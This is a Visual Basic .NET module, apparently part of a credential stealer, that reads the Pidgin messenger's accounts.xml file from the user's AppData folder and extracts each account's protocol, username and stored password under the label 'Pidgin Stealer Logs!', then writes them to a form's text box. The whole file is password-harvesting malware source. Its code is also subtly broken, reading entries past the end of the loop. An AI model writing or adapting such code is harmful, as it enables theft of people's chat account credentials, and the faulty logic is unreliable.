Option Explicit On
Imports System.IO
Imports System.Xml
Module Pidgin

    Public Function GetPidgin() As String
        Dim ReadXML As New XmlDocument
        Dim i As Integer
        Dim OutAll = Nothing
        GetPidgin = ""
        Dim FilePath As String = Environ("appdata") & "\.purple\accounts.xml"
        If File.Exists(FilePath) <> True Then
            Exit Function
        Else
            Try
                ReadXML.Load(FilePath)
                Dim Protocol As XmlNodeList = ReadXML.GetElementsByTagName("protocol")
                Dim Username As XmlNodeList = ReadXML.GetElementsByTagName("name")
                Dim Password As XmlNodeList = ReadXML.GetElementsByTagName("password")
                For i = 0 To Protocol.Count - 1
                    OutAll = OutAll & "Pidgin Stealer Logs!" & vbNewLine & "Protocol: " & Protocol(i).InnerText & vbCrLf _
                  & "Username: " & Username(i).InnerText & vbCrLf _
                    & "Password: " & Password(i).InnerText & vbCrLf & vbNewLine
                Next
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============Pidgin==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Username: " & Username(i).InnerText)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & Password(i).InnerText)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============Pidgin==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Pidgin Not Installed!")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            End Try
        End If
    End Function
End Module